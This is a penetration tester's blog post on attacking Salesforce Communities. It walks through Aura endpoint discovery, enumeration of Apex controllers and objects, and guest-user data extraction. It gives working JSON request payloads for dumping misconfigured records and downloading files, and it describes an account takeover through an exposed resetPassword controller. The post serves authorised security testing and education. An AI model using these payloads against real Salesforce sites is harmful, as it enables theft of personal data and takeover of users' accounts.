02 Dec 2024 | Reading time: ~23 min

Pentesting Salesforce Communities

A lightning-fast journey from Guest User to Account Takeover

#Salesforce #Lightning #Apex #account-takeover

thumbnail.png

This blog post shows a recent penetration test I performed for some customers’ Salesforce applications (also called Salesforce Communities), in which I exploited some common and other lesser-known flaws, which eventually led to an account takeover vulnerability. I will show some plugins and in-depth techniques to facilitate the enumeration of the target and the discovery of these flaws, and I will link to other excellent resources that I have found very useful for delving into the Salesforce attack surface and on which I have relied to conduct tests and write this article.


Table of contents

  1. Introduction
    1. Salesforce lightning 101
      1. Terminologies
      2. Guest User
      3. Salesforce security controls
    2. HTTP request format, Aura Components and APEX
  2. Salesforce enumeration
    1. Identify the targets
    2. Identify the aura endpoint
    3. Identify Standard and Custom aura components
    4. Identify Standard and Custom Objects
  3. Fuzzing and Exploitation
    1. Object permission issues
    2. Broken Access Control on Custom Classes
    3. Other attack vectors and interesting cases
  4. Tools and Labs

Introduction

As mentioned in the abstract above, this blog post is intended to be a summary of a broader penetration test activity I conducted for a client. Following a security incident, I was tasked with analysing a large number of Salesforce Communities for issues and vulnerabilities. This allowed me to familiarise myself with this technology and to learn more about the main flaws and problems of these systems.

Salesforce lightning 101

Salesforce Lightning is a component-based framework for Salesforce app development. Usually, sites built with Lightning use one of the following URLs (but this is not always the case):

  • *.force.com
  • *.secure.force.com
  • *.live.siteforce.com

For the sake of brevity, I will skip over most of the basic concepts concerning Salesforce, Salesforce Communities, and Salesforce Lighting, as there are already numerous resources on this subject online (and even AI can give you the basic answers you seek).

Please refer to the official documentation12 and articles below for a general introduction to the topic:

However, there are some important concepts and quirks that I cannot take for granted, so we will look at them here quickly.

Terminologies

  • Salesforce Community: these are sites that run on Salesforce’s Lightning framework and let customers and partners interface with Salesforce instances from outside an organization. Communities are public-facing and indexed by Google.
  • Salesforce Lightning Component Framework: is a component-based framework for Salesforce app development. It includes the views (markup) and JS controllers on the client-side, then Apex controllers and databases on the server side. Default lightning components for example are ui, aura, and force. Those components are self-contained objects that a developer can assemble to create custom web pages.
  • Aura components perform actions on Salesforce objects. Components have controllers that export different methods (or actions) to perform certain tasks. These are functions that interact in some ways with Objects. Params can also be passed to these functions. There are two types of controllers:
    • Standard aura classes (aura://), pre-formatted functions to access Salesforce objects
    • Custom apex classes (apex://), new functions developed from scratch by developers.
  • Objects 3, in Salesforce, can be considered like DB tables for storing data. They can be:
    • Standard Objects 4 (also labled Default Objects), and they are objects secured by SalesForce. A full list can be found here.
    • Custom Objects 5, identified by the __c in their name (like level__c). These are objects created manually by admins.
  • Fields are like DB table columns
  • Records are like DB table rows
  • Namespace - Think of it like a package, which groups related components together. Default namespaces are aura, ui, and force. Custom components that are created and added to a community will either use the namespace chosen by the Salesforce administrator, the namespace of a package or simply use the c namespace which refers to the default namespace.

(image taken from appomni.com)

Guest User

An unauthenticated user is called a Guest User in Salesforce. In recent versions he is not enabled by default, however, it’s not rare to find them enabled in the wild.

You can usually easily recognise if the guest user is enabled because you will see many automatic requests to the /aura endpoint in the background (however that’s not always true).

Salesforce security controls

Permissions are set for objects, fields, and records separately!

Objects have a very complex sharing model:

  • CRUDS
  • Groups
  • Sharing Rules
  • Owner [+Manual] [+Territory] [+Role]
  • etc.

And custom objects are rarely configured with the correct OLS/FLS/RLS.

Quoting “How does Salesforce Lightning implement security? “:

From an attacker’s perspective, the main security controls to be concerned with essentially boil down to the following (open the links to the original article for a detailed explanation of what it is all about):

Also consider that in Lightning there is no real administrator, but there are specific groups created to perform privileged/restricted actions. This is to simplify authorizations, but this is where custom objects become a problem.

HTTP request format, Aura Components and APEX

Aura components, Apex, and Salesforce form the backbone of Salesforce’s Lightning platform, empowering developers to build dynamic, interactive web applications. Aura components are reusable, modular building blocks that enable the creation of rich user interfaces, while Apex is Salesforce’s proprietary programming language, used to implement complex business logic on the server-side.

Some useful resources for getting started poking around with aura components:

The Apex classes that have methods that are denoted with @AuraEnabled are what interest us the most, as these methods can be called remotely through the Aura endpoint. Unfortunately, without access to the code itself, exploitation of apex class methods will always be done in blackbox (unless the class is open source).

Salesforce standard HTTP requests to aura components 6 look like the following:

POST /s/sfsites/aura?r=4&ui-communities-components-aura-components-forceCommunity-richText.RichText.getParsedRichTextValue=1 HTTP/2
Host: salesforce.example.com
Cookie: ... SNIPPED ...
Content-Length: 1324
X-Sfdc-Page-Scope-Id: 69b7ebbe-2e8b-4622-9738-06da97612d69
X-Sfdc-Request-Id: 22933900001b9f0ff3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Sfdc-Page-Cache: c29575b7054d1291

message=%7B%22actions%22%3A%5B%7B%22id%22%3A%2291%3Ba%22%2C%22descriptor%22%3A%22serviceComponent%3A%2F%2Fui.communities.components.aura.components.forceCommunity.richText.RichTextController%2FACTION%24getParsedRichTextValue%22%2C%22callingDescriptor%22%3A%22markup%3A%2F%2FforceCommunity%3ArichText%22%2C%22params%22%3A%7B%22html%22%3A%22%3Cp%20style%3D%5C%22text-align%3A%20right%3B%5C%22%3E%3Cimg%20class%3D%5C%22sfdcCbImage%5C%22%20alt%3D%5C%22%5C%22%20src%3D%5C%22%7B!contentAsset.NPAZ_599283a16ca1463fa0523e4088b460.1%7D%5C%22%20style%3D%5C%22width%3A%20368.115px%3B%20height%3A%2096.0625px%3B%5C%22%3E%3Cimg%20class%3D%5C%22sfdcCbImage%5C%22%20alt%3D%5C%22%5C%22%20src%3D%5C%22%7B!contentAsset.NPAZ_599283a16ca1463fa0523e4088b4602.1%7D%5C%22%20style%3D%5C%22width%3A%20377.013px%3B%20height%3A%2098.3875px%3B%5C%22%3E%3C%2Fp%3E%22%7D%2C%22version%22%3A%2261.0%22%2C%22storable%22%3Atrue%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22UnpnOFNpOGttZTd0bGJqRkN2T2pGQWhZX25NdHFVdGpDN3BnWlROY1ZGT3cyNTAuOC4zLTYuNC41%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%2248jFr9jtMWnzXaDp1ibM3w%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F%3Flanguage%3Den_US&aura.token=null

The HTTP body once decoded looks like this:

message={
  "actions": [
    {
      "id": "91;a",
      "descriptor": "serviceComponent://ui.communities.components.aura.components.forceCommunity.richText.RichTextController/ACTION$getParsedRichTextValue",
      "callingDescriptor": "markup://forceCommunity:richText",
      "params": {
        "html": "<p style=\"text-align: right;\"><img class=\"sfdcCbImage\" alt=\"\" src=\"{!contentAsset.NPAZ_599283a16ca1463fa0523e4088b460.1}\" style=\"width: 368.115px; height: 96.0625px;\"><img class=\"sfdcCbImage\" alt=\"\" src=\"{!contentAsset.NPAZ_599283a16ca1463fa0523e4088b4602.1}\" style=\"width: 377.013px; height: 98.3875px;\"></p>"
      },
      "version": "61.0",
      "storable": true
    }
  ]
}&aura.context={
  "mode": "PROD",
  "fwuid": "UnpnOFNpOGttZTd0bGJqRkN2T2pGQWhZX25NdHFVdGpDN3BnWlROY1ZGT3cyNTAuOC4zLTYuNC41",
  "app": "siteforce:communityApp",
  "loaded": {
    "APPLICATION@markup://siteforce:communityApp": "48jFr9jtMWnzXaDp1ibM3w"
  },
  "dn": [],
  "globals": {},
  "uad": false
}&aura.pageURI=/s/?language=en_US
&aura.token=null

You can use the salesforce/lightning-burp burpsuite extension plugin for better handling Lightning.

The important fields to be considered in the HTTP body are:

  • message: contains a JSON object that encapsulates all necessary data for structuring the communication between the client-side Lightning components and Salesforce’s back-end.
  • aura.context: provides essential metadata, state information, and security-related details that the server needs to process the request effectively. It encapsulates a variety of contextual data that enables the server to understand the environment in which the request is made.
  • aura.token: the value will show whether or not you are authenticated. undefined or null values indicate you are a Guest User, otherwise a JWT token contains your user information.

message contains actions (typically JavaScript functions or Apex controller methods) that need to be executed. Each action corresponds to a specific operation that the client is asking the server to perform, and is made up by:

  • id: random string used to identify multiple actions in the same request
  • descriptor: A reference to the controller method or component action being invoked, in the form namespace:component (usually has the form namespace://contoller-class/ACTION$method-to-invoke).
  • callingDescriptor: usually “UNKNOWN” since it is often ignored, but usually references the component or controller that initiated the action.
  • params: parameters provided to the action.

The aura.context and aura.token fields are not strictly tied to a single website, but can be reused (with minor adjustments) in any other Salesforce application, especially when the Guest User is enabled. This is very useful, especially for interacting with instances that support the guest user and have enabled the aura endpoint, but that do not send requests automatically (and therefore do not provide a starting “request template”).

Salesforce enumeration

Identify the targets

Depending on the scope of the activity and the amount of time available, there are several ways to fingerprint Salesforce sites. Usually, a good way to start is to use Google dorks and search for common CNAMEs or common DNS. 7

Luckily in my case, I had already been provided with a DNS list of the client’s Salesforce sites (but not the communities), so I could start scanning and enumerating the sites directly without having to search for them first.

Identify the aura endpoint

As mentioned before, the /aura endpoint is an essential component for Salesforce sites and it is an important element when it comes to the threat model of applications.

The endpoint is typically exposed on a standard path, however it may also be exposed on a path other than the root (usually happens when several communities are hosted on the same site, so each of them has its own aura endpoint), and is not always contacted automatically when navigating to a Salesforce site:

# Standard endpoint
/aura
/sfsites/aura
/s/sfsites/aura

# Custom communities endpoint can start with other words, eg.
/admin/s/sfsites/aura
/customers/aura
/foo/bar/sfsites/aura

You can search for such paths using some common nuclei templates 8 or you can do it manually by sending an HTTP POST request and looking for the following patterns:

# Search for these patterns in server response:
"actions":[
aura:clientOutOfSync
aura:invalidSession

A good way to find the aura endpoint and the available communities without brute-forcing them is to use some passive recon tools like gau 9 or waymore 10 and search for the /s/ pattern within the extracted URLs:

$ gau redacted.my.site.com        
https://redacted.my.site.com/
https://redacted.my.site.com/random-asd-1/s/article/What-steps-do-you-take-to-ensure-website-accessibility
https://redacted.my.site.com/foo-bar-boom/s/mexico
https://redacted.my.site.com/Beep/s/equipment-listing
https://redacted.my.site.com/RAM/s/mexico
https://redacted.my.site.com/robots.txt
https://redacted.my.site.com/never-back-again/s/
https://redacted.my.site.com/
https://redacted.my.site.com/never-back-again/s/?language=en_US
https://redacted.my.site.com/ContactUs1337-pathUS/s/
https://redacted.my.site.com/login
https://redacted.my.site.com/Beep/s/
https://redacted.my.site.com/login?locale=us

$ curl -X POST https://redacted.my.site.com/Beep/s/sfsites/aura -H "Content-Type: application/x-www-form-urlencoded" -d 'foo=bar'
{"event":{"descriptor":"markup://aura:invalidSession","attributes":{"values":{}},"eventDef":{"descriptor":"markup://aura:invalidSession","t":"APPLICATION","xs":"I","a":{"newToken":["newToken","aura://String","I",false]}}},"exceptionMessage":"Guest user access is not allowed","exceptionEvent":true}
$ curl -X POST https://redacted.my.site.com/random-asd-1/aura -H "Content-Type: application/x-www-form-urlencoded" -d 'foo=bar'
{"event":{"descriptor":"markup://aura:invalidSession","attributes":{"values":{}},"eventDef":{"descriptor":"markup://aura:invalidSession","t":"APPLICATION","xs":"I","a":{"newToken":["newToken","aura://String","I",false]}}},"exceptionMessage":"Guest user access is not allowed","exceptionEvent":true}

Identify Standard and Custom aura components

A few standard JS files are loaded in nearly every Salesforce web application, containing details about standard classes, actions, and occasionally custom classes as well.

  1. app.js
  2. aura_prod.js
  3. bootstrap.js

Grep for the below pattern in the responses of these JS files to identify the various classes and controllers made available by the site:

  • componentService.initControllerDefs([{

Custom classes sometimes are listed in those JS files too, but it’s most common to find them in HTTP requests and responses as you browse the application.

You can recognize custom classes from standard ones because they start with apex:// instead of aura://

// STANDARD class:
aura://RecordUiController/ACTION$getObjectInfo

// CUSTOM class:
apex://New_Sales_Controller/ACTION$getSalesData

You can easily search for them by grepping the full HTTP history and looking for the following keywords:

  • compound:// in server responses (most of the time you can recognize easily the request because the message parameter is passed inside the query string instead of a POST body):
  • apex%3a%2f%2f in HTTP requests:

Within the various responses, you should obtain some results similar to the following snippet:

"componentDef":{"descriptor":"markup://c:CA_CommunityUtil"},
... snip ...
{
"xs":"P","descriptor":"markup://c:CA_CommunityUtil",
"rl":true,"st":{"descriptor":"css://c.CA_CommunityUtil",
"co":"",
"cl":"cCA_CommunityUtil"},
"cd":{
  "descriptor":"compound://c.CA_CommunityUtil",
  "ac":[
    {
      "n":"getCurrentCommunityContextInfos",
      "descriptor":"apex://CommunityUtil/ACTION$getCurrentCommunityContextInfos",
      "at":"SERVER",
      "rt":"apex://Map<String,ANY>",
      "pa":[]
    },
    {
      "n":"getCurrentCommunityUrl",
      "descriptor":"apex://CommunityUtil/ACTION$getCurrentCommunityUrl",
      "at":"SERVER",
      "rt":"apex://String",
      "pa":[]
    }
  ]
}

The important values to note here are:

  • The descriptor value that exists in componentDefs : This can be used for retrieving the full definition, although not required at the moment (more about this later). The descriptor format is made up of namespace:component.
  • The descriptor value inside the ac field, defining the actual controller and action.
  • rt: The return value type.
  • pa: Parameters that are passed to the apex class method, and their type.

Use the following regex alongside some tool integrated with grep (eg. Response Grepper 11) in order to quickly extract custom apex class descriptors:

Regex: "descriptor":"(apex:\/\/[^\"]*)

Sometimes, however, searching for compound:// in server responses does not reveal any custom apex controller (because maybe it was cached by the browser in the past, or for any other reason).

In these cases, we must use different approaches:

  1. we can search with a top-down approach for every custom component starting from static resources 12
  2. we can identify any HTTP request that sends a message field containing an apex controller and extract some important values that will be used later to query the /auraCmpDef endpoint and obtain any custom controller linked to the original apex class.

Below is an example of a request for a message using an apex controller, and the required parameters to be extracted:

POST /foo/s/sfsites/aura?r=2&other.CommunityUtil.getCurrentCommunityContextInfos=1 HTTP/2
Host: [...REDACTED...]
Cookie: [...TRUNCATED...]
Content-Length: 760
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
X-Sfdc-Page-Scope-Id: 91062b0d-10f8-402b-a496-5ece7b62f20a
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: [...REDACTED...]
Referer: [...REDACTED...]
Priority: u=1, i

message=%7B%22actions%22%3A%5B%7B%22id%22%3A%2246%3Ba%22%2C%22descriptor%22%3A%22apex%3A%2F%2FCommunityUtil%2FACTION%24getCurrentCommunityContextInfos%22%2C%22callingDescriptor%22%3A%22markup%3A%2F%2Fc%3ACA_CommunityUtil%22%2C%22params%22%3A%7B%7D%7D%5D%7D
&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22ZzhjQmRxMXdrdzhvS0RJMG5qQVdxQTdEcXI0cnRHWU0zd2xrUnFaakQxNXc5LjMyMC4y%22%2C%22app%22%3A%22siteforce%3AloginApp2%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AloginApp2%22%3A%221098_0Gzb_TJPQxPxmu8ktwr7uw%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D
&aura.pageURI=[...TRUNCATED...]&aura.token=null

From the relative context field, we have to extract:

  • the loaded content and the relative ID
  • the desired descriptor

From the message field, we have to identify the custom callingDescriptor.

Once obtained these three information, we can query the /auraCmpDef endpoint and extract every declared apex controller for the specified descriptor:

GET /example/auraCmpDef?aura.app=<APP_MARKUP>&_au=<AU_VALUE>&_def=<COMPONENT_MARKUP>&_ff=DESKTOP&_l=true&_cssvar=false&_c=false&_l10n=en_US&_style=-1450740311&_density=VIEW_ONE HTTP/1.1
Host: redacted.my.site.com

Example: https://redacted.my.site.com/example/auraCmpDef?aura.app=markup://siteforce:loginApp2&_au=1098_0Gzb_TJPQxPxmu8ktwr7uw&_def=markup://c:CA_CommunityUtil&_c=false&_density=VIEW_ONE&_dfs=8&_ff=DESKTOP&_l=true&_l10n=en_US&_lrmc=-386269907&_style=-1450740311&_uid=329__98ODtCT_xKhlVwqtRYokg&aura.mode=PROD

Now that we know exactly the definition of the controller, we can craft an ad-hoc message to the community’s aura endpoint to attempt to interact with the method:

POST /custom-community/s/sfsites/aura HTTP/2
Host: [...REDACTED...]
Cookie: [...TRUNCATED...]
Content-Length: 816
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

message={"actions":[{"id":"150;a","descriptor":"apex://CommunityUtil/ACTION$getCurrentCommunityContextInfos","callingDescriptor":"markup://c:CA_CommunityUtil","params":{}}]}
&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22ZzhjQmRxMXdrdzhvS0RJMG5qQVdxQTdEcXI0cnRHWU0zd2xrUnFaakQxNXc5LjMyMC4y%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%221176_RiEqto7a10RL4-qsAx8xFg%22%2C%22MODULE%40markup%3A%2F%2Flightning%3Af6Controller%22%3A%22292_Kx4YnuF8cbgQbawpLBy0SQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%22335_G1NlWPtUoLRA_nLC-0oFqg%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D
&aura.pageURI=[...REDACTED...]
&aura.token=null

A more detailed list of descriptors and undocumented endpoints can be found at the following links:

Identify Standard and Custom Objects

Going back to what was said in the introduction, in Salesforce there are two types of objects: standard and custom. Both of them can be misconfigured and made accessible to unauthorized users.

From an attacker’s point of view, it is important to identify as many misconfigured Objects as possible as they may contain sensitive information, both for the exploitation phase and for the nature of the data itself.

The following is a list of controllers and actions that can be used to enumerate objects and look for permission issues or information leaks (insert them within the message field and send them to /aura):

  • getConfigData: List all the configuration and objects within the apiNamesToKeyPrefixes key for the current Salesforce application. Search within the response for Custom Objects suffixed with __c and copy them to a custom wordlist.
    {"actions":[{"id":"1;a","descriptor":"aura://HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}
    

  • getObjectInfo 13: Get metadata about a specific object. You can use this action to understand if the user has access to the object or not. It will not return any informative response if the user does not have access, otherwise, this will return information about an object and its corresponding fields. Watch out for __c in the response from each object to make notes about the related custom objects and fields.
    {"actions":[{"id":"1;a","descriptor":"aura://RecordUiController/ACTION$getObjectInfo","callingDescriptor":"UNKNOWN","params":{"objectApiName":"§FUZZ-EVERY-OBJECT-HERE§"}}]}
    

  • getListByObjectName: returns the lists created for an object in the UI. Watch out for __c in the response from each object to make note about the related custom objects and fields.
    {"actions":[{"id":"1;a","descriptor":"aura://ListUiController/ACTION$getListsByObjectName","callingDescriptor":"UNKNOWN","params":{"objectApiName":"§FUZZ-EVERY-OBJECT-HERE§"}}]}
    

At this point, after having merged the standard objects 4 and the custom objects obtained with the actions above, we are ready to check which ones are accessible and what information they contain.

Let’s start digging!

Fuzzing and Exploitation

Once we have mapped out most of the attack surface and obtained valid aura.token and aura.context values (go grab them from any Salesforce exposed with the guest user active if your target doesn’t provide them!), we can start extracting data and interacting with the identified classes.

Object permission issues

If admins messed up the sharing permissions on the various objects and fields, we can use some standard controllers to access the broken records.

  • getItems: retrieves records for a given object bounded to specific user permissions, but if record permissions are misconfigured, this can retrieve records of an entire object.
    {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"§FUZZ-EVERY-STANDARD-OBJECT§","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}
    
  • getRecord 14: retrieves records starting from on a record id.
    {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","callingDescriptor":"UNKNOWN","params":{"recordId":"§RECORD-ID§","record":null,"inContextOfComponent":"","mode":"VIEW","layoutType":"FULL","defaultFieldValues":null,"navigationLocation":"LIST_VIEW_ROW"}}]}
    

IDs generally look like this: "Id":"0099g000001mWQaYHU"

Using these controllers, I started to extract every misconfigured object from the various communities, obtaining different interesting information, including:

  • customers names, surnames, emails, phone numbers, and other PII from several Contact objects
  • names, surnames, emails and IDs (very useful for the exploitation phase) from several Account objects
  • Other PII from different AccountTeamMember and AccountContactRelation objects
  • Personal notes from some Note objects
  • Exposed files from several Document, ContentDocument and ContentVersion objects
  • Calendar events from Calendar objects
  • and other information from some other standard and custom objects, like Knowledge__kav, KnowledgeArticleVersion, ProcessInstanceWorkitem, CollaborationGroup and many others

sample data exposed by a User object

list of User IDs

estimated quotations for customer orders

personal user information

Among the various objects, some of them will return IDs particularly related to attachments. You can use those IDs with some specific API to retrieve and download the raw files (these paths are relative to the base path, not the aura endpoint):

  • Document - Prefix 015 - /servlet/servlet.FileDownload?file=ID
  • ContentDocument - Prefix 069 - /sfc/servlet.shepherd/document/download/ID
  • ContentVersion - Prefix 068 - /sfc/servlet.shepherd/version/download/ID

See Salesforce Object Key Prefix List (written by biswajeetsamal, biswajeetsamal.com) for a full default object ID prefixes list.

// sample input
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ContentVersion","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

// sample output
{"record":{"LastModifiedDate":"2023-09-01T13:13:22.000Z","Description":null,"CreatedDate":"2023-09-01T13:13:20.000Z","Title":"NPAZ_599283a16ca1463fa0523e4088b4602 (1)","CurrencyIsoCode__l":"EUR - Euro","Id":"068690000164AzJAAU","CurrencyIsoCode":"EUR","LastModifiedById":"0056900000BlCU8AAN","SystemModstamp":"2024-03-22T11:21:11.000Z","sobjectType":"ContentVersion"}}
GET /sfc/servlet.shepherd/version/download/068690000164AzJAAU HTTP/2
Host: redacted.com

--- RESPONSE ---

HTTP/2 200 OK
Date: Wed, 03 Jul 2024 20:04:52 GMT
Content-Type: image/jpeg; charset=UTF-8

Doing this way, I was able to access and download some files conceptually conceived as restricted relative to deployment configurations, private screenshots, sales tables, and others.

sample files exposed by a ContentDocument object

Broken Access Control on Custom Classes

While enumerating the communities that had been assigned to me, I stumbled upon a couple of communities that particularly caught my attention. They had the Guest User enabled, and I was able to query a lot of interesting information including user-related ones (see the previous section), but most importantly, they automatically contacted a couple of custom controllers to read out some routes.

Visiting these routes, the sites started to make many more requests to the aura endpoint to download every relevant controller matched to the route, exposing many custom controllers and custom methods.

Has something already caught your attention?

Out of all the various controllers, one in particular was very interesting to me: CA_ChangePasswordSettingController, and in particular the action resetPassword:

"cd":{
  "descriptor": "compound://c.CA_ResetPasswordSetting",
  "ac": [
    {
      "n": "resetPassword",
      "descriptor": "apex://CA_ChangePasswordSettingController/ACTION$resetPassword",
      "at": "SERVER",
      "rt": "apex://String",
      "pa": [
        {
          "name": "userID",
          "type": "apex://String"
        },
        {
          "name": "newPassword",
          "type": "apex://String"
        }
      ]
    }
  ]
}

We can notice from its descriptor that the resetPassword ACTION accepts only two string parameters:

  • userID
  • newPassword


This is not good!

By not requiring the user’s previous password or a valid reset password token, this controller can potentially be abused to reset any user’s password starting from a simple userID (permissions apart). Furthermore, UserIDs can be extracted from the standard object User, as we did in the previous section.

list of User IDs extracted from the User standard object

Probably this controller was not meant to be contacted from the outside, I think it was for internal use as a result of the call to the chagePassword method, but since it was placed inside the CA_ChangePasswordSettingController class, which is exposed, it ended up being wrongly exposed as well.


changePassword method contained inside CA_ChangePasswordSettingController

Since I was running the tests on production sites, I immediately reached out to the Communities maintainers, explaining to them the issue and the possible critical impacts. They provided me with a sample userID with which I can test the functionality.

Having everything required, I used the descriptor to replicate a valid aura call to the Apex controller CA_ChangePasswordSettingController, and finally reset the user’s password and took over his account.

{
  "actions": [
    {
      "id": "123;a",
      "descriptor": "apex://CA_ChangePasswordSettingController/ACTION$resetPassword",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "userID": "0056<REDACTED>M",
        "newPassword": "RT-wofnwo2!$4nfi!"
      }
    }
  ]
}

User’s password successfully reset

This vulnerability could have had a massive impact. Even though custom controllers are pretty straightforward to find, they are often overlooked during Salesforce penetration tests because not every tester knows this particular attack vector.

Other attack vectors and interesting cases

In addition to the permission problems on standard and custom objects, the exposure of custom controllers, and the classic web vulnerabilities like XSS and unsecured APIs, there are other attack vectors that I did not find directly during testing but have read about online and will list below:

Tools and Labs

To facilitate analysis and enumeration, there are a few tools (with their limitations and shortcomings) that can help speed up and automate the work:

I have not found other useful tools, but please let me know if I have missed something!

If you need a lab to practice with, have a look at the following links:


  1. Salesforce Lightning: The Future of Sales and CRM, salesforce.com 

  2. Lightning Platform: Building blocks of better apps, salesforce.com 

  3. Overview of Salesforce Objects and Fields, developer.salesforce.com 

  4. Standard Objects, developer.salesforce.com  2

  5. Custom Objects, developer.salesfroce.com 

  6. Aura Components, developer.salesforce.com 

  7. Salesforce Recon Process, enumerated.ie 

  8. salesforce-aura.yaml, github.com  2

  9. gau, github.com 

  10. waymore, github.com 

  11. Response Grepper, portswigger.net 

  12. Retrieving the markup descriptor of custom Components, appomni.com 

  13. getObjectInfo, developer.salesforce.com 

  14. getRecord, developer.salesforce.com 

  15. SOQL Injection, developer.salesforce.com 

  16. SOQL Injection Lab., infosecwriteups.com 

  17. SQL Injection Union Based, hackerone.com 

  18. Second-order SOQL injection through email and campaign name parameter, heckerone.com 

  19. Blind SOQL Injection, appomni.com 

  20. SOQL subquery blind attack, varonis.com 

  21. salesforce-misconfiguration.yaml, github.com